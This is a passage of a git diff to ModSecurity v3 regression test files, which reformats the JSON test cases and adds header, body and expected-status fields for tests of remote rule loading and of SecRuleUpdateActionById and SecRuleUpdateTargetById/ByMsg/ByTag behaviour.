+ "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"PmFromFile\" with param \".*\" against REQUEST_FILENAME" + "expected": { + "debug_log": "Executing operator \"PmFromFile\" with param \".*\" against REQUEST_FILENAME", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", - "SecRemoteRules key https://gist.githubusercontent.com/martinhsv/20705a36b7cfa8ff6d0dee0d4efce7e7/raw/faa96c7838b1fe972c1f0881efacbb440f9a4a5e/modsecurity-regression-rules.txt", + "SecRemoteRules key https://raw.githubusercontent.com/owasp-modsecurity/ModSecurity/refs/heads/v3/master/test/modsecurity-regression-rules.txt", "SecRule ARGS \"@contains somethingelse\" \"id:9,pass,t:trim\"" ] }, { - "enabled":1, + "enabled": 1, + "version_min": 300000, + "title": "Include remote rules - failed download (Abort)", "resource": "curl", - "version_min":300000, - "title":"Include remote rules - failed download (Abort)", - "expected":{ - "parser_error": "Failed to download: HTTP response code said error" + "client": { + "ip": "", + "port": 0 + }, + "server": { + "ip": "", + "port": 0 + }, + "request": { + "headers": { + "Content-Length": "0" + }, + "uri": "", + "method": "", + "body": [ + "" + ] }, - "rules":[ + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "http_code": 200, + "parser_error": "Failed to download" + }, + "rules": [ "SecRuleEngine On", "SecRemoteRulesFailAction Abort", "SecRemoteRules key https://gist.githubusercontent.com/zimmerle/a4c1ec028999f7df71d0cc80f4f271ca/raw/4c74363bf4eae974180f1a82007196e58729dd16/modsecurity-regression-test-secremoterules-bonga.txt" ] }, { - "enabled":1, + "enabled": 1, + "version_min": 300000, + "title": "Include remote rules - failed download (Warn)", "resource": "curl", - "version_min":300000, - "title":"Include remote rules - failed download (Warn)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Executing operator \"Contains\" with param \"somethingelse\" against ARGS." + "expected": { + "debug_log": "Executing operator \"Contains\" with param \"somethingelse\" against ARGS.", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRemoteRulesFailAction Warn", "SecRemoteRules key https://gist.githubusercontent.com/zimmerle/a4c1ec028999f7df71d0cc80f4f271ca/raw/4c74363bf4eae974180f1a82007196e58729dd16/modsecurity-regression-test-secremoterules-bonga.txt", diff --git a/test/test-cases/regression/config-update-action-by-id.json b/test/test-cases/regression/config-update-action-by-id.json index 4e1a3fc24e..a960eb2916 100644 --- a/test/test-cases/regression/config-update-action-by-id.json +++ b/test/test-cases/regression/config-update-action-by-id.json @@ -1,272 +1,294 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateActionById (1/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateActionById (1/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"application/lhebs", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/lhebs", + "Expect": "100-continue" }, - "uri":"/a=urlencoded?param1=value1", - "method":"GET" + "uri": "/a=urlencoded?param1=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code": 200, - "debug_log": "Skipped rule id '200005'" + "expected": { + "debug_log": "Skipped rule id '200005'", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRuleUpdateActionById 200004 \"allow\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,deny\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200005,log\"" + "rules": [ + "SecRuleEngine On", + "SecRuleUpdateActionById 200004 \"allow\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,deny\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200005,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateActionById (2/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateActionById (2/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"application/lhebs", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/lhebs", + "Expect": "100-continue" }, - "uri":"/a=urlencoded?param1=value1", - "method":"GET" + "uri": "/a=urlencoded?param1=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateActionById (3/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateActionById (3/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"application/lhebs", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/lhebs", + "Expect": "100-continue" }, - "uri":"/a=urlencoded?param1=value1", - "method":"GET" + "uri": "/a=urlencoded?param1=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code": 200, - "debug_log": "Running action: log" + "expected": { + "debug_log": "Running action: log", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRuleUpdateActionById 200004 \"pass\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,deny\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200005,log\"" + "rules": [ + "SecRuleEngine On", + "SecRuleUpdateActionById 200004 \"pass\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,deny\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200005,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateActionById (4/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateActionById (4/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"application/lhebs", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/lhebs", + "Expect": "100-continue" }, - "uri":"/a=urlencoded?param1=value1", - "method":"GET" + "uri": "/a=urlencoded?param1=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code": 200, - "debug_log": "Running action: log" + "expected": { + "debug_log": "Running action: log", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRuleUpdateActionById 200004 \"pass\"", - "SecDefaultAction \"phase:3,deny\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,block\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200005,log\"" + "rules": [ + "SecRuleEngine On", + "SecRuleUpdateActionById 200004 \"pass\"", + "SecDefaultAction \"phase:3,deny\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,block\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200005,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateActionById (5/n)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateActionById (5/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"application/lhebs", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/lhebs", + "Expect": "100-continue" }, - "uri":"/a=urlencoded?param1=value1", - "method":"GET" + "uri": "/a=urlencoded?param1=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code": 200, - "debug_log": "Dropping the evaluation of upcoming rules in favor of" + "expected": { + "debug_log": "Dropping the evaluation of upcoming rules in favor of", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRuleUpdateActionById 200004 \"allow\"", - "SecDefaultAction \"phase:3,deny\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,block\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200005,log\"" + "rules": [ + "SecRuleEngine On", + "SecRuleUpdateActionById 200004 \"allow\"", + "SecDefaultAction \"phase:3,deny\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,block\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200005,log\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateActionById (6/n)", - "issue":"2005", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateActionById (6/n)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"application/lhebs", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "application/lhebs", + "Expect": "100-continue" }, - "uri":"/a=urlencoded?param1=value1", - "method":"GET" + "uri": "/a=urlencoded?param1=value1", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "http_code": 302, - "error_log": "Access denied with code 302" + "expected": { + "error_log": "Access denied with code 302", + "http_code": 302 }, - "rules":[ - "SecRuleEngine On", - "SecRuleUpdateActionById 200004 \"redirect:'https://%{request_headers.host}/'\"", - "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,block,deny\"" + "rules": [ + "SecRuleEngine On", + "SecRuleUpdateActionById 200004 \"redirect:'https://%{request_headers.host}/'\"", + "SecRule ARGS \"@contains value1\" \"phase:3,id:200004,block,deny\"" ] } ] - diff --git a/test/test-cases/regression/config-update-target-by-id.json b/test/test-cases/regression/config-update-target-by-id.json index 8faecaefe6..a8bc0ea05a 100644 --- a/test/test-cases/regression/config-update-target-by-id.json +++ b/test/test-cases/regression/config-update-target-by-id.json @@ -1,199 +1,224 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetById - exclude whole collection", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetById - exclude whole collection", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetById 1 !ARGS", "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,tag:'test',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetById - exclude using regex", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetById - exclude using regex", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?mixpanel=value&mixpanel=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?mixpanel=value&mixpanel=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetById 1 !ARGS:/mixpanel$/", "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,tag:'test',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetById - exclude using full name", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetById - exclude using full name", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?mixpanel=value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?mixpanel=value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetById 1 !ARGS:mixpanel", "SecRule ARGS \"@contains value\" \"id:1,t:trim,tag:'test',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetById - exclude from ARGS_NAMES using regex (match)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetById - exclude from ARGS_NAMES using regex (match)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?xxxyyy=value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?xxxyyy=value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetById 1 \"!ARGS:/xxx/\"", "SecRule ARGS_NAMES \"@contains yyy\" \"id:1,phase:2,deny,status:403\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetById - exclude from ARGS_NAMES using regex (no match)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetById - exclude from ARGS_NAMES using regex (no match)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?xxyyy=value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?xxyyy=value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 403 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetById 1 \"!ARGS:/xxx/\"", "SecRule ARGS_NAMES \"@contains yyy\" \"id:1,phase:2,deny,status:403\"" diff --git a/test/test-cases/regression/config-update-target-by-msg.json b/test/test-cases/regression/config-update-target-by-msg.json index 24fe343cd0..2c33890fa6 100644 --- a/test/test-cases/regression/config-update-target-by-msg.json +++ b/test/test-cases/regression/config-update-target-by-msg.json @@ -1,39 +1,44 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetByTag", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetByTag", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetByMsg test !ARGS", "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,msg:'test',deny\"" diff --git a/test/test-cases/regression/config-update-target-by-tag.json b/test/test-cases/regression/config-update-target-by-tag.json index 10d4c1b487..32167c08fe 100644 --- a/test/test-cases/regression/config-update-target-by-tag.json +++ b/test/test-cases/regression/config-update-target-by-tag.json @@ -1,282 +1,317 @@ [ { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetByTag (1/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetByTag (1/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetByTag test !ARGS", "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,tag:'test',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetByTag (2/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetByTag (2/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetByTag test !ARGS:'/.*y$/'", "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,tag:'test',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetByTag (3/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*" + "enabled": 1, + "version_min": 300000, + "title": "SecRuleUpdateTargetByTag (3/6)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0" }, - "uri":"/?key=value&key=other_value", - "method":"GET" - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/?key=value&key=other_value", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRuleUpdateTargetByTag test !ARGS:'/k.*/'", "SecRule ARGS \"@contains value\" \"id:1,pass,t:trim,tag:'test',deny\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"SecRuleUpdateTargetByTag (4/6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - 